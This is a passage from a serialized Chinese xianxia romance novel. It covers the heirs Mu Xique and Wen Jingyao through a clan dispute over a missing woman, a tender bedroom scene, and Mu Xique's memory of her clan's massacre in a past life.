慕夕阙莞尔笑笑:“总不能让慕、闻两家落人口舌吧,何况不过就一个点契的时辰罢了,早晚都行,吉不吉利无所谓,我不在乎,想必闻少主也不在乎吧?” 她看过去,少年长身玉立,安静看着她,眸光沉而专注。 慕夕阙柳眉微扬,问道:“闻少主,你说呢?” 闻惊遥沉静片刻,又淡然抬眸看过去,说道:“既是你的意思,那便查。” “可是——”庄漪禾还想说话。 闻承禺抬手,拍了拍她的肩膀:“听他们的,他们自己的婚事自己做主。” 庄漪禾和朝蕴皱眉,最终还是退下。 慕夕阙回身,与旷悬对视,笑盈盈说道:“若今日查到有人身染秽毒,鹤阶会出手斩杀?” 旷悬道:“自然,除祟乃鹤阶本分。” 慕夕阙点点头:“这样啊。” 她笑起来,温声道:“那就查吧,请仔仔细细、慢慢地查,为十三州锄奸扶困,护百姓安宁。” 每一个字都轻飘飘的,却有宛如一把重锤,一下又一下敲击着,砸在每一个人心头。 20-25 第21章 第 21 章 “我不会背叛你的。”…… “小夕, 惊遥,过来。” 见几人进来,坐于闻承禺身侧的庄漪禾喊了声, 也是在向周家和千机宗的人告知这两位是谁。 庄漪禾站起身,抬手便指:“沅湘周家老夫人。” 周云姝的母亲名唤薛青菱, 她年岁看起来不大, 模样不过风信年华,但薛老夫人结丹早,实际年龄已有一百三十余岁, 有两女一子,长女早亡,二子便是当今的周家家主, 而三女则是周云姝。 慕夕阙和闻惊遥颔首道:“见过薛老夫人。” 薛青菱神情自若, 回以简单的颔首礼, 并未因女儿失踪而迁怒于旁人。 庄漪禾掌心摊向右侧:“千机宗宗主和季长老。” “见过应宗主。” 千机宗宗主名唤应逐, 一袭紫衣, 端坐肃然,并未回应她,看慕夕阙的眼神冷冰冰的。 慕夕阙也不生气, 视线一瞥看向另一人。 “季长老。” 季观澜也是一身千机宗的绛紫长老服,乌发高束, 手执折扇, 唇角挂着浅淡的笑,手扬折扇指了指一侧的空位:“两位客气, 快些入座吧。” 慕夕阙正好坐在季观澜正对面,两人隔着一条不窄不宽的通路,她坐下后便并未再看季观澜, 若再看下去,怕是腰间的剑便压不住了。 蔺九尘站在朝蕴身后,冲慕夕阙挤了挤眼,示意她记住他的话,无论过会儿应逐说什么话一概糊弄过去,小心那季观澜。 闻惊遥在慕夕阙身侧落座,低声说:“夕阙,此事与慕家无关,交由闻家处理便可。” 人是在东浔主城丢的,闻家担主要责任。 慕夕阙莞尔笑笑:“嗯,好。” 原先是与她无关,可若季观澜来了,那就不得不管了,这个人来得太早,她本来要杀的人还未轮到他。 慕夕阙抬眸,与对侧的季观澜对视,两人好像只是目光无意撞在一起,季观澜冲她颔首温笑,礼遇上挑不出半分毛病。 “两家少主既也来了,便谈正事吧。”端坐在左前方的朝蕴率先开口。 应逐冷声说道:“人是在你们东浔主城丢的,我夫人代千机宗来随礼,原定今日上午启程回千机宗,如今你们说人失踪了,找了一晚没有半分动静,闻家究竟有用心去找吗?” 他语气不逊,若说千机宗是大宗大派,而闻家则是延绵几千年的高门大族,便是千机宗创宗老祖在这里也得敬让三分,更遑论他一个才干并不算出众的家主。 见庄漪禾面色不虞,季观澜出来唱红脸:“庄夫人莫要生气,宗主也是忧心夫人安危,如今夫人失踪已近八个时辰,闻家和慕家倾力去找也未找到,若夫人出事……怕闻家不好交代。” 庄漪禾语气沉沉:“闻家已全力去找。” 趁季观澜和庄漪禾一来一往对峙,慕夕阙低声问:“薛老夫人为何不说话?” 从他们进来到如今,千机宗的人和闻家人说了这般久,便是朝蕴听着都有些恼火了,而薛青菱作为周云姝的母亲,女儿失踪,她恍若无事发生一般,安安静静坐在那里,隔岸观火,好似事不关己般。 闻惊遥压低声音,用仅供两人听到的音量说:“薛老夫人偏宠长女,沅湘周家最初定下的少主是周家长女,但她十岁早亡,此后薛老夫人又生了一子一女,许是丧女之痛镂骨铭心,对这两个孩子也多是漠视。” 慕夕阙问:“既不管不问,那为何还要生?” 闻惊遥罕见被噎了下,能在他脸上瞧见这种无措又欲言又止的神情可不容易。 慕夕阙好似只是逗逗他,也不为难,顺着闻少主没说的话说下去:“为了有个孩子继承家业嘛,这有什么不好说出口的,大多数家族都会这般做,比如你爹娘不就是这样。” 闻惊遥便不再说话,她说得有些过于直白,但事实也确实如此,他并不是父母相爱而生下的孩子,于闻家来说,他只是一个完美的少主罢了。 慕夕阙盯着薛青菱看,她生得月貌花容,蛾眉皓齿,这是张格外秀丽的脸,她的穿衣打扮也并不肃重,虽顶着个老夫人的名号,瞧着却比自家女儿还显年轻。 周云姝一身紫色对襟长衫,发髻也挽成凡间已婚妇人的模样,头上只有两根玉簪,也不描眉敷妆。 慕夕阙忽然压低声音问:“你有没有觉得,周夫人和薛老夫人长得并不像?” 闻惊遥抬眸看去,不过片刻,回道:“是不太像。” 慕夕阙笑了声,自顾自接话:“那可能是随了父亲吧,可惜我没见过周老家主。” 闻惊遥道:“周老家主亡故之时,你我还未出生,自是没见过。” 她忽然问这些,但她性子跳跃,也或许是一时兴起,想到什么便说什么,闻惊遥纵使心有疑问,也并未刨根问底。 两个小辈在这里说悄悄话,几个长辈已经快掀桌了。 应逐脾气爆,一拍桌子站起身:“我夫人若出半点差错,我定要你们东浔闻家也难以安生!” 闻惊遥蹙眉,目光落在碎了一地的木屑上,停顿片刻,抬眸看过去,眸中略冷。 朝蕴在一旁劝和:“应宗主,你先冷静一下。” 应逐看过去,阴阳怪气说:“当年慕峥家主出事,你也没冷静啊,我听说可是晕了几日呢,如今你倒是站着说话——” 铿锵一声,有人的茶盏掉落在地,炸开的瓷片飞溅而出,有一块自应逐侧脸划过,割断了他一缕头发,力道极大,碎片钉进他身后承重的木柱上。 一片寂静中,有人淡淡说了一句:“抱歉,手滑了,没拿好,没伤着吧?” 应逐侧眸瞪过去:“你——” “宗主,慕二小姐并非有意。”季观澜站起身,折扇横在应逐面前,两人对视,他面上带笑,一副好脾气的模样。 应逐生生压下怒火,又坐了回去。 季观澜一手握扇,扇柄在另一只手掌内轻轻敲敲,说道:“周夫人失踪已久,若真出事,东浔闻家也怕不好交代,如今在下倒是有一个法子,不知几位可愿听?” 一直没说过话的闻承禺这时开了口:“季长老但说无妨,若能找到周夫人,我们自是愿意的。” 季观澜道:“听闻慕家十二辰,掌阴阳轮回,可定魂追踪,不知可否借来一用?” 朝蕴脸上那点扯出的笑也散了去。 慕夕阙抬眸,瞧着面无情绪。 蔺九尘厉声道:“季长老,十二辰如今无主,无人可用。” 季观澜皱眉,不解问道:“可我听闻前段时间祭墟动荡,十二辰和天罡篆都已经醒了,如今慕家嫡传只有两位千金,择强为主,十二辰应会认慕二小姐,只需慕二小姐帮个忙便可。” 他盯着慕夕阙。 双目相对,慕夕阙面无表情,而一侧的闻惊遥皱眉,沉声道:“十二辰为神武,只用于镇压祭墟,又岂能做他用?” “以闻少主的意思,是觉得我千机宗宗主夫人失踪,生死不明一事是小事,即使你慕家有能力去寻也不愿寻?” 闻惊遥看着他,目光沉然,淡声说:“季长老还是谨言慎语为好。” 若熟悉他的人,便知晓他此刻是生了气的,闻惊遥素来沉稳话少,便是生气都难以看出。 但跟他认识这么多年,慕夕阙还是能看出来的。 她笑了声,迎着季观澜的目光,说道:“抱歉,淞溪慕家无法祭出十二辰。” 季观澜微笑道:“那看来是没办法跟慕家商量了,你们不愿帮忙。” 说完,他脸色一沉:“宗主,我们走吧。” 应逐站起身,哼笑一声:“看来十三州的传言也不假,慕家独揽十二辰,装的仁善罢了。” 他说完,一挥袖子转身就走,明摆着生了气。 季观澜紧随其后,临走前余光一转,和慕夕阙对视,后者冲他盈盈一笑。 他们走得突然,庄漪禾和朝蕴都沉着脸,闻承禺望向慕夕阙,并未开口询问。 一旁从进来就没开口说过话的薛青菱终于有了动静。 “应逐和季观澜此举并非为寻我女儿,你们放心,我沅湘周家并不会逼慕家祭出十二辰,只托各位尽全力追查为好,我女儿身子弱,怕耽搁不了多久。” 薛青菱起身离开,身后的周家人也跟着走了,应是去随闻家弟子找人了。 外人一走,议事堂便只剩慕闻两家的人了。 朝蕴冷声道:“原来意图在这里,若慕家不肯祭出十二辰帮忙找人,那慕闻两家在十三州免不得多些流言蜚语,若现在让十二辰认小夕为主,她年岁尚小还不一定护得住十二辰,有多少人都会打小夕的主意。” 庄漪禾沉声接话:“连装模作样都不装了,千机宗本就与鹤阶交好,怕是受了鹤阶指点。” “周夫人失踪已久,还不知慕二小姐有何见解?”闻承禺冷不丁开口,质问的人却是慕夕阙。 若说闻家人中,慕夕阙最忌惮谁,那非闻承禺莫属。 闻惊遥尚未成长起来,且性子板正得发邪,反而好琢磨,他心里想什么不难猜出。 而闻承禺可不一样,掌权多年,城府深沉,无人能猜出他在想什么。 慕夕阙仰头看他,说道:“在下有些愚笨,尚没什么思绪,但在下可以保证,周夫人性命无虞。” 闻承禺问:“你这般确定?” 慕夕阙道:“闻家主不也确定吗?否则为何明知周夫人大概不在城内,还要带着弟子满城兜圈?” 两人对峙片刻,几息过后,闻承禺笑了下, “慕二小姐聪慧,累了一夜了,去歇息会儿吧。”他收回目光,看向闻惊遥,“惊遥,你也去歇会儿。” 那就是要支开他们几个小辈了。 闻惊遥也明白,并未多问,颔首应下:“嗯。” 朝蕴给慕夕阙了个安心的眼神,示意她不要多想,好好休息。 两人并肩离开,大多弟子都外出寻人了,如今的闻家主宅倒安静不少。 闻惊遥自觉送她回画墨阁,站在门前,他道:“夕阙,你累了一晚,进去休息吧。” 慕夕阙问:“那你呢?” “我回自己住处休息。” “我看你不会休息,八成要去寻人吧。” 她如此聪慧,被她看出来也并非难事,闻惊遥又成了个哑巴。 慕夕阙扭头往画墨阁走:“进来,陪我休息会儿。” 少年愣了会儿,沉默片刻,抬步跟上。 慕夕阙直接进了水房,她昨夜淋了雨自是要沐浴一番,闻惊遥并未多想,端坐在寝室外厅等她,她动作很快,只去了不到两刻钟。 穿着一身霜白内衫的女子拨开珠帘走来,慕夕阙回来的路上烘干了头发,及腰青丝披散,那身交领内衫并不裸露,裹得严实,但毕竟是就寝时穿的衣裳。 闻惊遥别过头,耳根红了一片,说道:“夕阙,我睡在外厅吧,在这里陪你。” 慕夕阙直接躺上外厅的软榻,她平躺在里侧,拍了拍身侧空了大片的位置。 “你别矜持了,昨日抱着我死活不肯撒手,硬要我和他睡的人是谁啊?” ……酒后失态,酒醒的时候最是尴尬。 闻惊遥哑口无言,一句话都憋不出来。 慕夕阙盖上锦被,声音虚了几分:“过来,我有些累,一整夜未睡了。” 这话倒是没忽悠他,她身上的伤虽处理好了,但仍旧隐隐作痛,慕夕阙能忍疼痛,打了那么场架,她无法不疲惫。 等了一会儿,有脚步声走来,随后是换衣的窸窣声,接着身侧软榻下陷了几分,有人在她身侧躺下,她闻到淡淡的香。 闻惊遥脱去外衫,刚一躺下,慕夕阙便往他的怀里滚来。 少年抬起的手僵了僵,喉结微滚,最后慢慢落在她肩头。 慕夕阙在他怀里闭着眼,却笑着说:“对啊,就这样,你想亲近我就亲近我嘛,闻大少爷,别总那么冷静,我可不喜欢你那样。” 闻惊遥侧身,将她搂进怀里,下颌抵着她的发顶,她刚沐浴完,用的香也是从淞溪带来的,馥郁浓艳。 “夕阙,你为何忽然对我这般亲近?” 慕夕阙仰起头,闷闷笑了两声,啄了啄他的唇角,轻声说道:“喜欢你啊。” 闻惊遥低头看她,两人枕着一个锦枕,她的气息扑鼻而来,单薄的锦被也隔绝不了彼此的体温,他抬手覆在她的后脑,穿过她柔滑的长发。 对视片刻,他说道:“你说喜欢我,我信了的。” 短短几日,他破了好多戒律,这十几年来,他守着闻家的家规当成自己行事的原则,而如今有人在一点点打破他看似坚不可摧、无法让步的底线,让他越来越没办法公正理性。 他满心是她,就连原则都为此退让。 慕夕阙又啄了下他的唇角,贴着唇说:“闻少主,你当然得信我……那现在,亲亲我。” 她咬着他的唇瓣,闻惊遥闭上眼,捧住她的脸,柔而密地去吮吻她的唇,啃咬她的舌,这是她教他的东西,他脑子聪明,一学就会。 闻惊遥撑起身子覆上去,将她纤细又温暖的身子拢进怀里,按在她腰后的手用力,她的双臂搂住他的脖颈,将他高束的马尾压在臂弯下。 他于绵密的吻中看了眼外厅桌上的香炉,昨日正午满屋都是馥郁的香,今日慕夕阙并未点香。 那香到底是什么也无所谓了,总之她在身边,随她心里想什么,又在做什么,他不想再猜来猜去了。 少年收回目光,在她的回吻中,双唇偶尔分开的间隙,他低声呢喃。 “你想做什么都可以,我不会背叛你的。” 作者有话说:宝宝们,明天上夹子,所以咱们明天更新放在晚上十一点哦,就是周三晚上十一点~ 周三晚上会加一更,今天还有红包~ 第22章 第 22 章 慕夕阙怎么会想杀他? 兴许是今日见到季观澜了, 慕夕阙罕见做了场忆起前世的幻梦。 她梦到自己站在遍地灰土尘埃前,被烧了大半的匾额欲掉不掉,斜斜挂在门柱上, 在她要去接那块镌刻有“淞溪慕家”四字的匾额时,吱呀一声, 它轰然砸下, 荡起满地尘埃。 那是朽木化为的尘埃,还是人骨燃烧后的骨灰,她早已分不清。 淞溪慕家是整个十三州最富饶之地, 坐落于琼筵山的慕家主宅更是金碧辉煌,而如今一场不知烧了多久的大火将价值万金的楼阁台榭烧得一干二净,青砖上的血迹被焚烧过后呈现一种铁锈般的墨红。 慕夕阙在主殿前捡到了朝蕴的佩剑, 以及姜榆的弟子玉符。 名剑最终蒙尘, 玉符也无声碎裂。 慕夕阙跪在满地的黑烬前, 业火足以烧干净一切, 她分不清朝蕴的尸身是哪一捧, 姜榆又在何处,因为整个慕家早已融为一体。 有人单膝跪在她身后,一双手遮住她的眼睛, 她还听到闻惊遥抖得无法成调的声音。 “夕阙,别看……别看了……” 怎么能不看呢? 她得看着, 她为什么不看? 慕夕阙连泪都没掉一滴, 她挣开闻惊遥站起身,冷眼看着这一切, 倒塌烧毁的屋舍。 遍地破碎的慕家弟子玉符,折断的刀剑,随处散落的断肢残骸, 她偶尔能瞧见几根金簪玉饰,若是眼熟的能认出这是谁的东西,若是不熟的便连身份都无法确认。 那天下了雪,淞溪多少年都没下过雪了,在慕家灭门那日,下了一场多年难见的鹅毛大雪,白雪落在黑烬上,黑与白逐渐融合。 无论闻惊遥说什么,慕夕阙一句不吭。 最后她将整个慕家搜了个遍,确定没找到一个活口,慕夕阙孤身上山,劈了一块山石,她拒绝闻惊遥的帮助,自己背着那块石头下了山,用手中那柄锋锐的剑镌刻碑文。 ——淞溪慕家之牌位。 她不爱读书,连碑文都不知该写什么,又该写谁,这死了这么多人,她能写谁? 便是满山的石头都写不下她慕家一万七千八百余人的名字和生平。 慕夕阙跪在竖立的石碑前,她刚从祭墟出来,那身华丽张扬的金服破破烂烂,雪落在身上,又融进伤口里,刺骨的冷。 “夕阙,你哭出来,你得哭出来。” 闻惊遥的呼吸沉得不像话,他五年前当上圣尊后,何时有这般不冷静的时候? 可她没哭。 慕夕阙冷着声音:“闻惊遥,滚。” 闻惊遥抖着手去抱她,两人同时从祭墟出来,他也比她好不到哪里去。 “夕阙,夕阙你冷静些——” “你让我怎么冷静!”慕夕阙终于爆发,她推开抱着她的闻惊遥,指着慕家的石碑,“我去祭墟前和她吵了架,我说我才不愿当她用来继承慕家的女儿,我将她送的玉簪砸了个稀烂,其实下山我就后悔了,我去买了个玉簪,我想着回来我就偷偷放到她房间里,送她礼物,她一定会欢喜。” 她捂着脸,泪沿着指缝溢出,声音哽咽到几乎听不清:“我惹她生了那么多气,我还没来得及道歉……” “慕家那么多人,我说过会保护他们的,如今我连家都没护住……” 凭什么? 她带着十二辰在祭墟内与秽毒斗了大半月,为了十三州的安危险些将自己的命搭进去,可出来得知的却是慕家遭夜袭满门惨死的消息? 到底为什么? 为什么好人没有好报,恶人名扬天下? 这世道到底是黑是白,还有理可寻吗? 慕夕阙在那一刻,怨恨所有人,怨恨这不公的天道。 她看着闻惊遥的脸,推开试图抱她的闻惊遥,指着他骂:“滚!从淞溪滚出去!滚回你的鹤阶,滚!” 二十七岁的闻惊遥已经当上鹤阶圣尊五年了,他这些年的性子越发沉稳,话也愈来愈少,泰山崩于面前也面不改色,可那一刻,好似一根无形的棍打折了他素来挺拔不曲的脊背,他直不起腰,抖着手想去抱她,即使她的剑尖指向他。 “夕阙,夕阙你听我说——” “滚啊!滚!” 慕夕阙给了他一剑,那一剑捅穿了这个鹤阶圣尊的右心口。 鹤阶的圣尊她无法不恨,在那时候她没有办法,她瞧着淡然,可早已理智全无,恨着所有与鹤阶有关的人,甚至是所有十三州的人。 慕夕阙转身下山,从淞溪到十三州望天台有三日的路程,她就这么用灵力奔移过去,拖着一身的狼狈拿起通天鼓的鼓槌。 一下,又一下,敲响这可以传遍整个十三州的通天鼓,声声泣血,在毫无证据的情况下控诉鹤阶。 十三州有三分之二的家族都来了望天台,她的那些好友皆已知晓慕家的事,师盈虚被青城师家的人拦着,其余几个交好的朋友大多被困在家族无法外出。 可无人站在她这一侧,十三州没有一个家族信她的话,只反驳她毫无证据。 慕家灭门蹊跷,她不信这些人不知究竟是谁有这般能力,无论是对鹤阶的畏惧还是对慕家的漠视不理,都令人作呕。 也就是那一日,慕夕阙看清了整个十三州,简直烂得透底。 她联系了自己的几个挚友,请他们来一见,那是她唯一能寻到可以帮助她的人。 可到了约定的地方,等着她的却是鹤阶派来的十几位元婴和化神境修士,她不知是谁背刺了她。 长刀捅穿她的腰腹时,她已经连喘气的力气都没了。 她太过年轻,性子骄傲,朝蕴总说她以后或许要吃大亏,还真让朝蕴说中了,一个锦衣玉食养尊处优的大小姐,自小什么事情都有人帮着料理,她孤身一人,只有被十三州算计的份。 季观澜手握刀柄,刀身在她腰腹间转了个圈,将她的血肉搅得稀巴烂,看着她苍白颤抖的脸,咧嘴一笑,对她说:“这柄刀滋味好受吗,我拿它割了朝家主的喉呢。” 慕夕阙用最后一丝灵力挣开季观澜,翻身滚下悬崖的时候,就没想过自己能活。 那下方是一处湍急的暗流,或许会裹着她的尸身流向不知名处,或永沉湖底,或曝尸荒野,总之这尸身不能留给鹤阶,她身上的十二辰也绝不会给鹤阶这些杂碎。 跌进湖水的窒息感让她无意识颤抖,骨骼肺腑被挤压的疼痛刻入心扉,她蓦地清醒,呼吸沉了许多。 “夕阙。” 这声音熟悉,闻惊遥的音色少见,格外清洌干净,往日沉稳无波的声音,今日罕见带了分焦急。 一只手穿过她的脊背,在瘦削的背脊上轻拍,慕夕阙被拢进一个裹挟霜雪凉意的怀抱,兴许与修行的功法有关,闻惊遥体温总比常人要低些。 “做噩梦了吗?” 慕夕阙抬眸,瞧见闻惊遥的眼眸,立时反应过来,挣开他的怀抱坐起身,别过头吐了口气:“没事。” 闻惊遥也随着起身,如今已正午,床帐散下来后,帐内也透不进多少光亮,仍旧晦暗,可即使再暗的视线,修士眼力过人,他并未错过她方才看他的那一眼。 他在她的眼里瞧见了恨意。 他看着她的背影,慕夕阙背对着他,长发披散,白色里衣略显宽松,她整个人好似在衣裳里晃。 慕夕阙缓了过来,闭上眼压住满心的杀意与仇恨,掀开锦被便要下榻。 “我休息够了,过会儿还有正事要忙。” 因着闻惊遥睡在外侧,她便只能从他身上跨过去,弯腰之际,未束的发有一缕垂下,自他膝上扫过。 她去了内厅换衣,闻惊遥的外衫叠得整整齐齐,搁置在软榻旁的小案上,他背过身穿上,扣好青玉腰封。 闻惊遥并未转身:“夕阙。” 慕夕阙并未回他,或许是未听到,或许是听到了但不愿回,闻惊遥安静站了片刻,两个时辰前的亲昵又好似一场梦,她忽远忽近,他却并无他法。 他只能寻个理由逃离。 “夕阙,千机宗应不会安分,我去议事堂瞧瞧。” 这次她回应了。 “嗯。” 轩门打开又关上,屋内又只剩她一人,慕夕阙坐在明镜台前,换了身霞红色的锻花交领长衫,镜中倒映出的女子冷着脸,目中情绪沉冷。 前世她被燕家背刺,沦落到只能跳崖的地步,等鹤阶和千机宗的人走后,师盈虚匆匆赶来,竟直接随着她跳了崖,在慕夕阙将被卷入暗流时捞起了她。 而自琼筵山分别后,无论是她去敲通天鼓,还是她被鹤阶围杀,闻惊遥始终未曾出现。 师盈虚背着她爬了几座山,绕开追查的人,将她送至海外仙岛,从那日起,慕夕阙五年没回过十三州。 她在海外仙岛拼命修炼,夜以继昼,只要能尽快提升境界什么都学一把,也因此结识了不少能人异士,也有从十三州乘灵舟来海外仙岛的修士。 她得知了闻惊遥的消息,在她被鹤阶围杀没多久后,他继任了闻家家主。 从此十三州圣尊,东浔闻家家主,天罡篆之主皆是他,冠冕加于一身,无限风光,手握至上权力。 或许在琼筵山给的那一剑,便彻底斩断了他们之间的情分,又或者让他因此恨上了她? 否则为何在她回了十三州后,他便出动圣尊令,号鹤阶弟子追捕她? “小夕。” 门外来了人。 慕夕阙闭了闭眼,沉声应道:“等我一会儿。” 她快速挽好发,穿戴好开门,门外的人正是蔺九尘,他似乎并未休息,眼下略有疲乏,这两日他作为慕家内门大弟子,一直操劳订婚宴,又随着去找了一晚人,不累也不正常。 慕夕阙侧身:“进来吧,师兄。” 蔺九尘进入外厅,那是会客的地方,他看了眼软榻上叠好的锦被,直截了当说:“闻少主在此歇息了?” 慕夕阙眉心一动:“你怎么知晓?” “你从来不叠被。”蔺九尘道。 “那倒也是。”慕夕阙笑了声,在桌旁坐下,倒了杯茶递过去。 蔺九尘坐下,与她隔着一张桌子对视,他往日总没个正经模样,嬉皮笑脸的,今日瞧着沉着多了,但往往这般严肃便是有要事要说,慕夕阙也能猜出他来这里为何。 他翻转掌心,剑袖解下后,露出劲瘦有力的右腕,那腕间戴了一根编得略显粗糙的手绳,能看出织绳之人手艺并不好。 “说说吧,你在做什么?” 慕夕阙懒散坐着,看了眼他腕间的手绳,果断承认:“这手绳是用来趋避秽毒的,里面融了张符篆,可以保你一日内不被秽毒侵染,如今应当没用了。” 蔺九尘又道:“你知道我想问的不仅这个,你并不精通符阵之道。” 慕夕阙回道:“前些时日在书房寻到了册父亲的手札,里面写了。” 这点倒确实未忽悠蔺九尘,慕峥精通阵术,所著书册不少,奈何收了两个弟子,蔺九尘从小对阵术毫无天赋,没少被慕峥抡着棍子满山揍,姜榆那时又还是个婴孩。 生了两个女儿,长女无法修行,二女从能引气便展现出于剑术一道上的天资。 他的那些阵术,后来全被慕夕阙给了姜榆,姜榆倒是阵术超绝,能承慕峥衣钵。 蔺九尘拧眉,他并不精通符篆术,若真有这种术法,慕峥定是会,那么慕夕阙偶尔瞧见也正常,而她天资好,许多东西瞧一眼便能会,阵术只是没兴趣,因此过去从未修习。 他并不想纠结她为何会这符篆术,转而问道:“那来说说你为何知晓鹤阶要害我?” “嗯……”慕夕阙佯装思考,末了忽然凑近,“师兄,你相信重生吗?实不相瞒,咱们都死过一次,而我或许是天命之子,走了大运重生了,上辈子发生的事情我自然知晓。” 她说这话时候语气闲散,蔺九尘白了她一眼,抬手推着她的额头往后按:“别给我胡扯,有病,说正事!” 慕夕阙又坐了回去,耸了耸肩:“猜的,鹤阶不会让慕闻两家订成婚的,我便让慕家暗桩时刻盯着他们的动作,见他们来闻家之时带了不渡刀,便能猜出他们要做什么。” 以她的聪慧机敏,这倒是有可信度,蔺九尘紧蹙的眉心却仍旧未松,又问:“那你如何知晓师娘要我去抓徐无咎?” 慕夕阙解释:“你从半月前就在打听徐无咎的消息吧,我再顺藤摸瓜去查查徐无咎是谁,自然便能猜出,我娘想查当年父亲的事,以及任前辈之事。” “那昨晚徐无咎失踪一事……” “他被闻家的人带给鹤阶了,目前我已将他安置好,至于鹤阶的人我杀了。” 蔺九尘慌忙站起身,抬手便要捂她的嘴。 他狠狠瞪她:“你疯了,那是鹤阶的人!” 慕夕阙的头一偏,灵活躲过,推着椅子往一旁挪了挪,眸含笑意说道:“师兄,人我都杀光了,不会联系到慕家,更何况,难道你我不杀鹤阶的人,他们便会放过我们?” 双目相对,慕夕阙面无表情。 上一辈子慕家安分守己处处退让,朝蕴更是被十三州传“窝囊无用,才干平平”这等丑诋,他们都以为只要慕家安分,只要和闻家的婚事还在,鹤阶便会忌惮几分不敢轻易动手,* 可退让了一辈子,最后退无可退,将整个慕家推进了悬崖。 几月前祭墟动荡,天罡篆和十二辰都已苏醒,朝蕴匆匆促成这桩婚事,便已经料到鹤阶蠢蠢欲动了,果不其然,鹤阶对蔺九尘下手了。 只要他在订婚宴出事,如长兄一般的人死去,慕家会被十三州议论,慕夕阙也定然无心与闻惊遥订婚。 起码上辈子她亲眼见蔺九尘死去,若非朝蕴拦住她,她便真提剑去砍了旷悬和白望舟的头,点契礼也并未完成。 末了,蔺九尘坐了回去。 “师娘说了你想做什么都随你,但你得信任我们,不要自己抗,也不要受伤。” 慕夕阙端起茶,朝他举了举:“放心好了,我可没受过伤,打个架而已。” 蔺九尘抢过她手里的茶一饮而尽,又瞪了她一眼:“我还没死呢,打架轮不到你。” 他们关系一直这般,平日爱斗嘴,但慕家人个个护短,蔺九尘比慕夕阙大了十岁,从她记事起,这个当时还是个少年的师兄便撑起了兄长的位置,陪玩陪闹,陪她上墙揭瓦,下河摸鱼。 若非他在,怕是慕夕阙也会长成闻惊遥这样话少的小古板。 慕夕阙笑笑,看着蔺九尘又倒了杯茶,她比任何人都要清楚,针对慕家的围剿并未结束,只要鹤阶和那个戴兜帽的人还在,慕家便永无安宁,她想守着的那些人便时刻在生死线边缘。 “师兄。”慕夕阙忽然唤他。 “嗯?”蔺九尘微抬眼帘。 慕夕阙道:“帮我做件事吧,很重要。”- 闻惊遥去到议事堂时,那里只有庄漪禾一人。 见他来了,庄漪禾问道:“你去歇息了吗,怎去了这般久?” 闻惊遥道:“嗯,休息了会儿。” 他走近,庄漪禾嗅到一股淡淡的花香,闻家熏香素来淡雅,无人会熏这般馥郁浓香,而如今他的头发,衣裳上都染上了这花香。 庄漪禾愣了愣,唇瓣微抿,见他沉默坐下,身板笔直,瞧着仍是那个如珪如璋、风骨峭峻的闻家少主。 那些话还是被她压下去了,庄漪禾坐回自己的木椅,抬手用灵力将一张纸条推过去。 “惊遥,你瞧瞧。” ——东浔城外,鹤阶弟子尸身一百二十三具,另有鹤阶旷悬仙长。 庄漪禾淡声开口:“旷悬死了,闻家弟子去勘验了尸身,与你二叔身上的致命伤应出自同一人,皆是一剑封喉,握剑力道、姿势、伤口深度都相差不大,那个人与鹤阶有深仇大恨。” 闻惊遥看完,卷起字条搁在桌上,闻言应了声:“嗯。” 庄漪禾看着他:“鹤阶在十三州地位颇高,寻常修士不敢与之明面结仇,如今在暗处与鹤阶有大仇的,你觉得会是谁?” “陈家,海外仙岛影杀一脉,药谷一脉。”闻惊遥面不改色,抬眸与高台上的庄漪禾对视,“还有淞溪慕家。” 慕峥的事,闻家也派人查过,能查出与鹤阶有瓜葛并不难,但并未掌握能锤死的证据,且那件事牵扯略深,累及颇多,并非只有鹤阶一家与之有瓜葛。 且只要十二辰还在慕家,慕家与鹤阶便不可能交好,整个十三州心知肚明。 庄漪禾并未再开口,而是沉沉看着他。 闻惊遥长睫半垂,音量低了些:“我怀疑过夕阙,可也有不少力证来反驳我的猜疑,夕阙并未去过海外仙岛,她也不精阵术,更何况……” 何况慕夕阙怎么会对他下杀手呢? 那捅进左肩的一刀,再往下分毫便能切断他的心脉,他与那人交手之时,能隐约觉察出她狠辣的招式下隐藏的杀意,虽极力克制,却又无法完全掩去。 他不敢再去怀疑,像是在自欺欺人,临阵退缩。 他不敢猜疑。 慕夕阙怎么会想杀他? 庄漪禾叹了声,知晓这孩子一颗心算是彻底栽了,于慕家而言兴许这只是一桩婚约,于闻惊遥来说,这是他与心仪女子的婚事。 是他想要抓住,却又不敢强求的缘分。 “罢了,你二叔之事怕牵扯不浅,闻家如今这状况,你应当也知晓。”提到这些,庄漪禾脸色陡然冷下,“依你所见,应当如何?” 天下熙熙,皆为利来,天下攘攘,皆为利往。 人心不足蛇吞象,钱权极易滋养恶念,清正守节的家族也未必养不出背公循私、贪利忘义之人,于他们而言,名扬千秋不如眼下的金银禄名。 延绵几千年的闻家,如今出了这样的人。 闻惊遥与庄漪禾对视,右手攥紧,那柄云青寒剑的剑柄镌刻了闻家门规—— 济时行道,慎终若始。 几个大字突起的沟壑摩擦掌心,他又忆起自己进清心观那日,门外融雪落下,而闻承禺负手而立,两人隔着一扇门。 他面色肃重,沉声说道:“闻家家规奉行‘济时行道,慎终若始’,你需恪守不渝,不能因任何缘由,向任何人阿谀逢迎,罔顾本心,若来日敢生非作歹,做祸害十三州之事,我必亲自革你玉碟,按家规处置,就算闻家嫡传从此绝后,我也断不会手下留情。” 父亲如此说,那他也是如此做。 闻惊遥沉声道:“叛闻家者,轻则革去玉碟,逐出东浔;若有对百姓豪干暴取,侵他人权益者,罪加一等,当断一臂并废其修为;若有诛戮生民,犯杀业者,罪上加罪,当斩。” 闻惊遥声音不大,却字字清楚。 庄漪禾眼眸微弯,从袖中取出玉牌,用灵力托举过去。 “你爹的家主玉牌,你可自由行事,惊遥,当罚者罚,当诛者诛,不必通报。” “闻家,容不得叛贼。”- 东浔城外,鹤阶暗桩。 应逐走路带风,宽袍猎猎,身后的千机宗弟子驻守在暗桩附近,而季观澜摇着折扇跟上去。 屋内八仙桌旁摆了四张木椅,应逐进去之时,已经有一人落座,正慢条斯理饮茶品茗,见应逐进来后,只抬眸看了眼,声音淡淡:“应宗主来了。” 应逐冲他拱了拱手:“白长老。” 他一个宗主,竟向鹤阶一个内门长老行这般大礼,可应逐并未有半分羞愧,方才在闻家有多嚣张,来到这里后竟有些唯唯诺诺。 季观澜也走了进来,同样行礼:“见过白长老。” 白望舟倒了两杯茶,搁在左右两座,抬手做请:“请坐,不必多礼。” 应逐坐下,他即刻道:“方才我与季长老在闻家闹了一通,可淞溪慕家不肯祭出十二辰助我们寻人。” 白望舟并无惊讶,仿佛早有预料:“是慕二小姐吧?” “是。”应逐回道,飞快抬眸看了眼白望舟,又说道:“那慕二态度坚决,半点不怵。” 